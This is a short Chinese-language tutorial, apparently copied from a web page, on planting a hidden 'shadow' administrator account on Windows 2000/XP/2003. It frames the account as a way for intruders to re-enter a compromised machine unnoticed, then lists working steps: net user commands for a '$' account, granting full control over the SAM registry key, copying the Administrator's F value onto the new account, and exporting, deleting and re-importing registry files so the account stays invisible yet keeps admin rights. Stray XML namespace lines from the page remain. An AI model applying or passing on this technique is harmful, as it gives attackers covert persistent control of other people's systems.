Windows 2000/XP/2003中都能找到一个系统内置的默认管理员账户——Administrator，该账户具有Windows的最高管理权限，用来完成软件安装、系统设置等任务。如果系统由于存在漏洞而被******，***为了下次还能方便地进来，通常会留一个管理员账户的影子账户
让你的账号拥有管理员权限，又不给她人发现
怎样设置影子账户
 
 
1.         在DOS下用net user zzw$ 123 /add 命令，然后在DOS下net user 看不到该用户
怎样建立影子账户
 
<?xml:namespace prefix = v ns = "urn:schemas-microsoft-com:vml" /><?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" />
2.         到用户账户中可以看到账户zzw$
怎样建立影子账户
3.         打开注册表到，把sam的项的权限改为完全控制，刷新注册表 ，到domains\account\users\<?xml:namespace prefix = st1 ns = "urn:schemas-microsoft-com:office:smarttags" />000001F4的F值复制到我的帐号对应的3EF的F值下
怎样建立影子账户
怎样建立影子账户
4.         然后导出我的帐号zzw$和对应的3EF为zzw.reg zzw2.reg
5.         然后在DOS下用net user zzw$ /del删除该账户的信息
6.         然后导入刚才的导出的zzw.reg zzw2.reg
7.         这时在DOS和控制面板下都看不到用户信息
8.         重新启动电脑 用zzw 密码12３可以进入系统且是管理员权限